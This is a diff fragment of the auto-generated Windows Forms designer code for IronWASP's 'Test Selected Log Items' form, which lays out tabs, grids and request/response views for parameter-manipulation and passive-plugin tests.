System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn3.FillWeight = 35.96939F; - this.dataGridViewTextBoxColumn3.HeaderText = "Information"; - this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; - this.dataGridViewTextBoxColumn3.ReadOnly = true; - this.dataGridViewTextBoxColumn3.Width = 80; - // - // dataGridViewTextBoxColumn4 - // - this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn4.HeaderText = "TestLeads"; - this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; - this.dataGridViewTextBoxColumn4.ReadOnly = true; - this.dataGridViewTextBoxColumn4.Width = 80; - // - // Column2 - // - this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.Column2.HeaderText = "Finding Titles"; - this.Column2.Name = "Column2"; - this.Column2.ReadOnly = true; - // - // PassivePluginScanResultsBottomTabs - // - this.PassivePluginScanResultsBottomTabs.Controls.Add(this.tabPage5); - this.PassivePluginScanResultsBottomTabs.Controls.Add(this.tabPage6); - this.PassivePluginScanResultsBottomTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.PassivePluginScanResultsBottomTabs.Location = new System.Drawing.Point(0, 0); - this.PassivePluginScanResultsBottomTabs.Margin = new System.Windows.Forms.Padding(0); - this.PassivePluginScanResultsBottomTabs.Name = "PassivePluginScanResultsBottomTabs"; - this.PassivePluginScanResultsBottomTabs.Padding = new System.Drawing.Point(0, 0); - this.PassivePluginScanResultsBottomTabs.SelectedIndex = 0; - this.PassivePluginScanResultsBottomTabs.Size = new System.Drawing.Size(858, 247); - this.PassivePluginScanResultsBottomTabs.TabIndex = 1; - this.PassivePluginScanResultsBottomTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.PassivePluginScanResultsBottomTabs_Selecting); - // - // tabPage5 - // - this.tabPage5.Controls.Add(this.PassivePluginsTestResultsBottomSplit); - this.tabPage5.Location = new System.Drawing.Point(4, 22); - this.tabPage5.Margin = new System.Windows.Forms.Padding(0); - this.tabPage5.Name = "tabPage5"; - this.tabPage5.Size = new System.Drawing.Size(850, 221); - this.tabPage5.TabIndex = 0; - this.tabPage5.Text = "Vulnerability Information"; - this.tabPage5.UseVisualStyleBackColor = true; - // - // PassivePluginsTestResultsBottomSplit - // - this.PassivePluginsTestResultsBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.PassivePluginsTestResultsBottomSplit.Location = new System.Drawing.Point(0, 0); - this.PassivePluginsTestResultsBottomSplit.Margin = new System.Windows.Forms.Padding(0); - this.PassivePluginsTestResultsBottomSplit.Name = "PassivePluginsTestResultsBottomSplit"; - // - // PassivePluginsTestResultsBottomSplit.Panel1 - // - this.PassivePluginsTestResultsBottomSplit.Panel1.Controls.Add(this.FindingsTree); - // - // PassivePluginsTestResultsBottomSplit.Panel2 - // - this.PassivePluginsTestResultsBottomSplit.Panel2.Controls.Add(this.ResultsDisplayRTB); - this.PassivePluginsTestResultsBottomSplit.Size = new System.Drawing.Size(850, 221); - this.PassivePluginsTestResultsBottomSplit.SplitterDistance = 238; - this.PassivePluginsTestResultsBottomSplit.SplitterWidth = 2; - this.PassivePluginsTestResultsBottomSplit.TabIndex = 0; - // - // FindingsTree - // - this.FindingsTree.BackColor = System.Drawing.Color.White; - this.FindingsTree.Dock = System.Windows.Forms.DockStyle.Fill; - this.FindingsTree.Location = new System.Drawing.Point(0, 0); - this.FindingsTree.Margin = new System.Windows.Forms.Padding(0); - this.FindingsTree.Name = "FindingsTree"; - this.FindingsTree.ShowRootLines = false; - this.FindingsTree.Size = new System.Drawing.Size(238, 221); - this.FindingsTree.TabIndex = 2; - this.FindingsTree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.FindingsTree_AfterSelect); - // - // ResultsDisplayRTB - // - this.ResultsDisplayRTB.BackColor = System.Drawing.SystemColors.Window; - this.ResultsDisplayRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ResultsDisplayRTB.DetectUrls = false; - this.ResultsDisplayRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResultsDisplayRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ResultsDisplayRTB.Location = new System.Drawing.Point(0, 0); - this.ResultsDisplayRTB.Name = "ResultsDisplayRTB"; - this.ResultsDisplayRTB.ReadOnly = true; - this.ResultsDisplayRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.ResultsDisplayRTB.Size = new System.Drawing.Size(610, 221); - this.ResultsDisplayRTB.TabIndex = 1; - this.ResultsDisplayRTB.Text = ""; - // - // tabPage6 - // - this.tabPage6.Controls.Add(this.PassivePluginLogTabs); - this.tabPage6.Controls.Add(this.PassivePluginLogLoadProgressBar); - this.tabPage6.Location = new System.Drawing.Point(4, 22); - this.tabPage6.Margin = new System.Windows.Forms.Padding(0); - this.tabPage6.Name = "tabPage6"; - this.tabPage6.Size = new System.Drawing.Size(850, 221); - this.tabPage6.TabIndex = 1; - this.tabPage6.Text = "View this Request/Response"; - this.tabPage6.UseVisualStyleBackColor = true; - // - // PassivePluginLogTabs - // - this.PassivePluginLogTabs.Controls.Add(this.tabPage20); - this.PassivePluginLogTabs.Controls.Add(this.tabPage21); - this.PassivePluginLogTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.PassivePluginLogTabs.Location = new System.Drawing.Point(0, 0); - this.PassivePluginLogTabs.Margin = new System.Windows.Forms.Padding(0); - this.PassivePluginLogTabs.Name = "PassivePluginLogTabs"; - this.PassivePluginLogTabs.Padding = new System.Drawing.Point(0, 0); - this.PassivePluginLogTabs.SelectedIndex = 0; - this.PassivePluginLogTabs.Size = new System.Drawing.Size(850, 221); - this.PassivePluginLogTabs.TabIndex = 34; - // - // tabPage20 - // - this.tabPage20.Controls.Add(this.PassivePluginLogRequestView); - this.tabPage20.Location = new System.Drawing.Point(4, 22); - this.tabPage20.Margin = new System.Windows.Forms.Padding(0); - this.tabPage20.Name = "tabPage20"; - this.tabPage20.Size = new System.Drawing.Size(842, 195); - this.tabPage20.TabIndex = 0; - this.tabPage20.Text = "Request"; - this.tabPage20.UseVisualStyleBackColor = true; - // - // PassivePluginLogRequestView - // - this.PassivePluginLogRequestView.BackColor = System.Drawing.Color.White; - this.PassivePluginLogRequestView.Dock = System.Windows.Forms.DockStyle.Fill; - this.PassivePluginLogRequestView.Location = new System.Drawing.Point(0, 0); - this.PassivePluginLogRequestView.Margin = new System.Windows.Forms.Padding(0); - this.PassivePluginLogRequestView.Name = "PassivePluginLogRequestView"; - this.PassivePluginLogRequestView.ReadOnly = true; - this.PassivePluginLogRequestView.Size = new System.Drawing.Size(842, 195); - this.PassivePluginLogRequestView.TabIndex = 0; - // - // tabPage21 - // - this.tabPage21.Controls.Add(this.PassivePluginLogResponseView); - this.tabPage21.Location = new System.Drawing.Point(4, 22); - this.tabPage21.Margin = new System.Windows.Forms.Padding(0); - this.tabPage21.Name = "tabPage21"; - this.tabPage21.Size = new System.Drawing.Size(842, 195); - this.tabPage21.TabIndex = 1; - this.tabPage21.Text = "Response"; - this.tabPage21.UseVisualStyleBackColor = true; - // - // PassivePluginLogResponseView - // - this.PassivePluginLogResponseView.BackColor = System.Drawing.Color.White; - this.PassivePluginLogResponseView.Dock = System.Windows.Forms.DockStyle.Fill; - this.PassivePluginLogResponseView.IncludeReflectionTab = true; - this.PassivePluginLogResponseView.Location = new System.Drawing.Point(0, 0); - this.PassivePluginLogResponseView.Margin = new System.Windows.Forms.Padding(0); - this.PassivePluginLogResponseView.Name = "PassivePluginLogResponseView"; - this.PassivePluginLogResponseView.ReadOnly = true; - this.PassivePluginLogResponseView.Size = new System.Drawing.Size(192, 74); - this.PassivePluginLogResponseView.TabIndex = 0; - // - // PassivePluginLogLoadProgressBar - // - this.PassivePluginLogLoadProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.PassivePluginLogLoadProgressBar.Location = new System.Drawing.Point(299, 41); - this.PassivePluginLogLoadProgressBar.MarqueeAnimationSpeed = 10; - this.PassivePluginLogLoadProgressBar.Name = "PassivePluginLogLoadProgressBar"; - this.PassivePluginLogLoadProgressBar.Size = new System.Drawing.Size(236, 23); - this.PassivePluginLogLoadProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.PassivePluginLogLoadProgressBar.TabIndex = 33; - this.PassivePluginLogLoadProgressBar.Visible = false; - // - // LogsTester - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(884, 562); - this.Controls.Add(this.BaseTabs); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "LogsTester"; - this.Text = "Test Selected Log Items"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.LogsTester_FormClosing); - this.Load += new System.EventHandler(this.LogsTester_Load); - this.BaseTabs.ResumeLayout(false); - this.SelectTestTab.ResumeLayout(false); - this.SelectTestTab.PerformLayout(); - this.ConfigureTab.ResumeLayout(false); - this.ConfigureTab.PerformLayout(); - this.ConfigureTestTabs.ResumeLayout(false); - this.ConfigureParameterTab.ResumeLayout(false); - this.ConfigureParameterTab.PerformLayout(); - this.SelectPluginsTab.ResumeLayout(false); - this.SelectPluginsTab.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.PassiveScanPluginsGrid)).EndInit(); - this.ResultsTab.ResumeLayout(false); - this.ResultsTab.PerformLayout(); - this.ResultsBaseTabs.ResumeLayout(false); - this.ParameterManipulationResultsTab.ResumeLayout(false); - this.ParameterManipulationResultsSplit.Panel1.ResumeLayout(false); - this.ParameterManipulationResultsSplit.Panel2.ResumeLayout(false); - this.ParameterManipulationResultsSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.ParameterManipulationResultsLogGrid)).EndInit(); - this.ParameterManipulationResultsBottomTabs.ResumeLayout(false); - this.tabPage7.ResumeLayout(false); - this.LogDisplayTabs.ResumeLayout(false); - this.tabPage12.ResumeLayout(false); - this.tabPage29.ResumeLayout(false); - this.tabPage8.ResumeLayout(false); - this.tabControl2.ResumeLayout(false); - this.tabPage13.ResumeLayout(false); - this.tabPage14.ResumeLayout(false); - this.tabPage3.ResumeLayout(false); - this.tabControl3.ResumeLayout(false); - this.tabPage15.ResumeLayout(false); - this.tabPage16.ResumeLayout(false); - this.tabPage9.ResumeLayout(false); - this.tabControl1.ResumeLayout(false); - this.tabPage1.ResumeLayout(false); - this.tabPage2.ResumeLayout(false); - this.tabPage10.ResumeLayout(false); - this.tabControl4.ResumeLayout(false); - this.tabPage4.ResumeLayout(false); - this.tabPage18.ResumeLayout(false); - this.tabPage11.ResumeLayout(false); - this.tabControl5.ResumeLayout(false); - this.tabPage19.ResumeLayout(false); - this.tabPage22.ResumeLayout(false); - this.tabPage17.ResumeLayout(false); - this.tabPage17.PerformLayout(); - this.PassiveChecksResultsTab.ResumeLayout(false); - this.PassivePluginsTestResultsBaseSplit.Panel1.ResumeLayout(false); - this.PassivePluginsTestResultsBaseSplit.Panel2.ResumeLayout(false); - this.PassivePluginsTestResultsBaseSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.PassivePluginsScanResultsGrid)).EndInit(); - this.PassivePluginScanResultsBottomTabs.ResumeLayout(false); - this.tabPage5.ResumeLayout(false); - this.PassivePluginsTestResultsBottomSplit.Panel1.ResumeLayout(false); - this.PassivePluginsTestResultsBottomSplit.Panel2.ResumeLayout(false); - this.PassivePluginsTestResultsBottomSplit.ResumeLayout(false); - this.tabPage6.ResumeLayout(false); - this.PassivePluginLogTabs.ResumeLayout(false); - this.tabPage20.ResumeLayout(false); - this.tabPage21.ResumeLayout(false); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage SelectTestTab; - private System.Windows.Forms.RadioButton RunPassivePluginsRB; - private System.Windows.Forms.RadioButton ParameterDeleteTestRB; - private System.Windows.Forms.RadioButton ParameterEditTestRB; - private System.Windows.Forms.RadioButton ParameterAddTestRB; - internal System.Windows.Forms.TextBox Step0StatusTB; - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.Button StepOneNextBtn; - private System.Windows.Forms.TabPage ConfigureTab; - internal System.Windows.Forms.TextBox Step1StatusTB; - internal System.Windows.Forms.TabControl ConfigureTestTabs; - private System.Windows.Forms.TabPage ConfigureParameterTab; - private System.Windows.Forms.TabPage SelectPluginsTab; - internal System.Windows.Forms.DataGridView PassiveScanPluginsGrid; - private System.Windows.Forms.CheckBox SelectAllPassivePluginsCB; - private System.Windows.Forms.TextBox textBox4; - private System.Windows.Forms.Button StepTwoPreviousBtn; - private System.Windows.Forms.Button StartTestBtn; - private System.Windows.Forms.TabPage ResultsTab; - private System.Windows.Forms.TextBox ParameterValueTB; - private System.Windows.Forms.Label ParameterValueTBLbl; - private System.Windows.Forms.Label ParameterActionLbl; - private System.Windows.Forms.TextBox ParameterNameTB; - private System.Windows.Forms.Label ParameterNameTBLbl; - private System.Windows.Forms.ComboBox ParameterTypeCombo; - private System.Windows.Forms.Label ParameterTypeComboLbl; - internal System.Windows.Forms.TabControl ResultsBaseTabs; - private System.Windows.Forms.TabPage ParameterManipulationResultsTab; - private System.Windows.Forms.TabPage PassiveChecksResultsTab; - private System.Windows.Forms.TextBox textBox19; - private System.Windows.Forms.SplitContainer ParameterManipulationResultsSplit; - internal System.Windows.Forms.DataGridView ParameterManipulationResultsLogGrid; - internal System.Windows.Forms.TabControl ParameterManipulationResultsBottomTabs; - private System.Windows.Forms.TabPage tabPage7; - private System.Windows.Forms.TabPage tabPage8; - private System.Windows.Forms.TabPage tabPage3; - private System.Windows.Forms.TabPage tabPage9; - private System.Windows.Forms.TabPage tabPage10; - private System.Windows.Forms.TabPage tabPage11; - internal System.Windows.Forms.TabControl LogDisplayTabs; - private System.Windows.Forms.TabPage tabPage12; - internal RequestView OriginalRequestView; - private System.Windows.Forms.TabPage tabPage29; - internal ResponseView OriginalResponseView; - internal System.Windows.Forms.TabControl tabControl2; - private System.Windows.Forms.TabPage tabPage13; - internal RequestView ResentRequestView; - private System.Windows.Forms.TabPage tabPage14; - internal ResponseView ResentResponseView; - internal System.Windows.Forms.TabControl tabControl3; - private System.Windows.Forms.TabPage tabPage15; - internal RequestView TestRequestView; - private System.Windows.Forms.TabPage tabPage16; - internal ResponseView TestResponseView; - private System.Windows.Forms.TabPage tabPage17; - private DiffResultView OriginalVsResentRequestDRV; - private DiffResultView ResentVsTestRequestDRV; - private DiffResultView OriginalVsTestRequestDRV; - internal System.Windows.Forms.Button PlayBtn; - internal System.Windows.Forms.Button StopBtn; - internal System.Windows.Forms.Button PauseBtn; - private System.Windows.Forms.ProgressBar ParameterManipulationLoadProgressBar; - private System.Windows.Forms.Label ParameterManipulationResultsStatusLbl; - internal System.Windows.Forms.TabControl tabControl1; - private System.Windows.Forms.TabPage tabPage1; - private System.Windows.Forms.TabPage tabPage2; - private DiffResultView OriginalVsResentResponseDRV; - internal System.Windows.Forms.TabControl tabControl4; - private System.Windows.Forms.TabPage tabPage4; - private System.Windows.Forms.TabPage tabPage18; - private DiffResultView ResentVsTestResponseDRV; - internal System.Windows.Forms.TabControl tabControl5; - private System.Windows.Forms.TabPage tabPage19; - private System.Windows.Forms.TabPage tabPage22; - private DiffResultView OriginalVsTestResponseDRV; - private System.Windows.Forms.DataGridViewTextBoxColumn IDClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn OriginalCode; - private System.Windows.Forms.DataGridViewTextBoxColumn OriginalLengthClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn ResentIdClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn ResentCodeClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn ResentLengthClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn TestIdClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn TestCodeClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn TestLengthClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn OriginalVsResentClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn ResentVsTestClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn OriginalVsTestClmn; - private System.Windows.Forms.CheckBox ShouldResentOriginalRequestCB; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn9; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn27; - private System.Windows.Forms.SplitContainer PassivePluginsTestResultsBaseSplit; - internal System.Windows.Forms.DataGridView PassivePluginsScanResultsGrid; - private System.Windows.Forms.SplitContainer PassivePluginsTestResultsBottomSplit; - internal System.Windows.Forms.RichTextBox ResultsDisplayRTB; - public System.Windows.Forms.TreeView FindingsTree; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn5; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn6; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; - private System.Windows.Forms.DataGridViewTextBoxColumn Column2; - private System.Windows.Forms.TabControl PassivePluginScanResultsBottomTabs; - private System.Windows.Forms.TabPage tabPage5; - private System.Windows.Forms.TabPage tabPage6; - internal System.Windows.Forms.TabControl PassivePluginLogTabs; - private System.Windows.Forms.TabPage tabPage20; - internal RequestView PassivePluginLogRequestView; - private System.Windows.Forms.TabPage tabPage21; - internal ResponseView PassivePluginLogResponseView; - private System.Windows.Forms.ProgressBar PassivePluginLogLoadProgressBar; - internal System.Windows.Forms.ComboBox SessionPluginsCombo; - private System.Windows.Forms.LinkLabel LaunchSessionPluginCreationAssistantLL; - private System.Windows.Forms.LinkLabel RefreshSessListLL; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.Label label11; - private System.Windows.Forms.TextBox textBox3; - private System.Windows.Forms.TextBox textBox5; - private System.Windows.Forms.TextBox textBox6; - private System.Windows.Forms.TextBox textBox7; - private System.Windows.Forms.TextBox textBox11; - private System.Windows.Forms.TextBox textBox8; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class LogsTester + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LogsTester)); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.SelectTestTab = new System.Windows.Forms.TabPage(); + this.textBox7 = new System.Windows.Forms.TextBox(); + this.textBox6 = new System.Windows.Forms.TextBox(); + this.textBox5 = new System.Windows.Forms.TextBox(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.RunPassivePluginsRB = new System.Windows.Forms.RadioButton(); + this.ParameterDeleteTestRB = new System.Windows.Forms.RadioButton(); + this.ParameterEditTestRB = new System.Windows.Forms.RadioButton(); + this.ParameterAddTestRB = new System.Windows.Forms.RadioButton(); + this.Step0StatusTB = new System.Windows.Forms.TextBox(); + this.CancelBtn = new System.Windows.Forms.Button(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.StepOneNextBtn = new System.Windows.Forms.Button(); + this.ConfigureTab = new System.Windows.Forms.TabPage(); + this.Step1StatusTB = new System.Windows.Forms.TextBox(); + this.ConfigureTestTabs = new System.Windows.Forms.TabControl(); + this.ConfigureParameterTab = new System.Windows.Forms.TabPage(); + this.SessionPluginsCombo = new System.Windows.Forms.ComboBox(); + this.LaunchSessionPluginCreationAssistantLL = new System.Windows.Forms.LinkLabel(); + this.RefreshSessListLL = new System.Windows.Forms.LinkLabel(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.label11 = new System.Windows.Forms.Label(); + this.ShouldResentOriginalRequestCB = new System.Windows.Forms.CheckBox(); + this.textBox11 = new System.Windows.Forms.TextBox(); + this.ParameterValueTB = new System.Windows.Forms.TextBox(); + this.ParameterValueTBLbl = new System.Windows.Forms.Label(); + this.ParameterActionLbl = new System.Windows.Forms.Label(); + this.ParameterNameTB = new System.Windows.Forms.TextBox(); + this.ParameterNameTBLbl = new System.Windows.Forms.Label(); + this.ParameterTypeCombo = new System.Windows.Forms.ComboBox(); + this.ParameterTypeComboLbl = new System.Windows.Forms.Label(); + this.SelectPluginsTab = new System.Windows.Forms.TabPage(); + this.PassiveScanPluginsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn27 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SelectAllPassivePluginsCB = new System.Windows.Forms.CheckBox(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); + this.StartTestBtn = new System.Windows.Forms.Button(); + this.ResultsTab = new System.Windows.Forms.TabPage(); + this.ParameterManipulationResultsStatusLbl = new System.Windows.Forms.Label(); + this.PauseBtn = new System.Windows.Forms.Button(); + this.StopBtn = new System.Windows.Forms.Button(); + this.PlayBtn = new System.Windows.Forms.Button(); + this.textBox19 = new System.Windows.Forms.TextBox(); + this.ResultsBaseTabs = new System.Windows.Forms.TabControl(); + this.ParameterManipulationResultsTab = new System.Windows.Forms.TabPage(); + this.ParameterManipulationResultsSplit = new System.Windows.Forms.SplitContainer(); + this.ParameterManipulationResultsLogGrid = new System.Windows.Forms.DataGridView(); + this.IDClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalLengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ResentIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ResentCodeClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ResentLengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestCodeClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestLengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalVsResentClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ResentVsTestClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalVsTestClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ParameterManipulationLoadProgressBar = new System.Windows.Forms.ProgressBar(); + this.ParameterManipulationResultsBottomTabs = new System.Windows.Forms.TabControl(); + this.tabPage7 = new System.Windows.Forms.TabPage(); + this.LogDisplayTabs = new System.Windows.Forms.TabControl(); + this.tabPage12 = new System.Windows.Forms.TabPage(); + this.tabPage29 = new System.Windows.Forms.TabPage(); + this.tabPage8 = new System.Windows.Forms.TabPage(); + this.tabControl2 = new System.Windows.Forms.TabControl(); + this.tabPage13 = new System.Windows.Forms.TabPage(); + this.tabPage14 = new System.Windows.Forms.TabPage(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.tabControl3 = new System.Windows.Forms.TabControl(); + this.tabPage15 = new System.Windows.Forms.TabPage(); + this.tabPage16 = new System.Windows.Forms.TabPage(); + this.tabPage9 = new System.Windows.Forms.TabPage(); + this.tabControl1 = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.tabPage10 = new System.Windows.Forms.TabPage(); + this.tabControl4 = new System.Windows.Forms.TabControl(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.tabPage18 = new System.Windows.Forms.TabPage(); + this.tabPage11 = new System.Windows.Forms.TabPage(); + this.tabControl5 = new System.Windows.Forms.TabControl(); + this.tabPage19 = new System.Windows.Forms.TabPage(); + this.tabPage22 = new System.Windows.Forms.TabPage(); + this.tabPage17 = new System.Windows.Forms.TabPage(); + this.textBox8 = new System.Windows.Forms.TextBox(); + this.PassiveChecksResultsTab = new System.Windows.Forms.TabPage(); + this.PassivePluginsTestResultsBaseSplit = new System.Windows.Forms.SplitContainer(); + this.PassivePluginsScanResultsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.PassivePluginScanResultsBottomTabs = new System.Windows.Forms.TabControl(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.PassivePluginsTestResultsBottomSplit = new System.Windows.Forms.SplitContainer(); + this.FindingsTree = new System.Windows.Forms.TreeView(); + this.ResultsDisplayRTB = new System.Windows.Forms.RichTextBox(); + this.tabPage6 = new System.Windows.Forms.TabPage(); + this.PassivePluginLogTabs = new System.Windows.Forms.TabControl(); + this.tabPage20 = new System.Windows.Forms.TabPage(); + this.tabPage21 = new System.Windows.Forms.TabPage(); + this.PassivePluginLogLoadProgressBar = new System.Windows.Forms.ProgressBar(); + this.OriginalRequestView = new IronWASP.RequestView(); + this.OriginalResponseView = new IronWASP.ResponseView(); + this.ResentRequestView = new IronWASP.RequestView(); + this.ResentResponseView = new IronWASP.ResponseView(); + this.TestRequestView = new IronWASP.RequestView(); + this.TestResponseView = new IronWASP.ResponseView(); + this.OriginalVsResentRequestDRV = new IronWASP.DiffResultView(); + this.OriginalVsResentResponseDRV = new IronWASP.DiffResultView(); + this.ResentVsTestRequestDRV = new IronWASP.DiffResultView(); + this.ResentVsTestResponseDRV = new IronWASP.DiffResultView(); + this.OriginalVsTestRequestDRV = new IronWASP.DiffResultView(); + this.OriginalVsTestResponseDRV = new IronWASP.DiffResultView(); + this.PassivePluginLogRequestView = new IronWASP.RequestView(); + this.PassivePluginLogResponseView = new IronWASP.ResponseView(); + this.BaseTabs.SuspendLayout(); + this.SelectTestTab.SuspendLayout(); + this.ConfigureTab.SuspendLayout(); + this.ConfigureTestTabs.SuspendLayout(); + this.ConfigureParameterTab.SuspendLayout(); + this.SelectPluginsTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.PassiveScanPluginsGrid)).BeginInit(); + this.ResultsTab.SuspendLayout(); + this.ResultsBaseTabs.SuspendLayout(); + this.ParameterManipulationResultsTab.SuspendLayout(); + this.ParameterManipulationResultsSplit.Panel1.SuspendLayout(); + this.ParameterManipulationResultsSplit.Panel2.SuspendLayout(); + this.ParameterManipulationResultsSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ParameterManipulationResultsLogGrid)).BeginInit(); + this.ParameterManipulationResultsBottomTabs.SuspendLayout(); + this.tabPage7.SuspendLayout(); + this.LogDisplayTabs.SuspendLayout(); + this.tabPage12.SuspendLayout(); + this.tabPage29.SuspendLayout(); + this.tabPage8.SuspendLayout(); + this.tabControl2.SuspendLayout(); + this.tabPage13.SuspendLayout(); + this.tabPage14.SuspendLayout(); + this.tabPage3.SuspendLayout(); + this.tabControl3.SuspendLayout(); + this.tabPage15.SuspendLayout(); + this.tabPage16.SuspendLayout(); + this.tabPage9.SuspendLayout(); + this.tabControl1.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tabPage2.SuspendLayout(); + this.tabPage10.SuspendLayout(); + this.tabControl4.SuspendLayout(); + this.tabPage4.SuspendLayout(); + this.tabPage18.SuspendLayout(); + this.tabPage11.SuspendLayout(); + this.tabControl5.SuspendLayout(); + this.tabPage19.SuspendLayout(); + 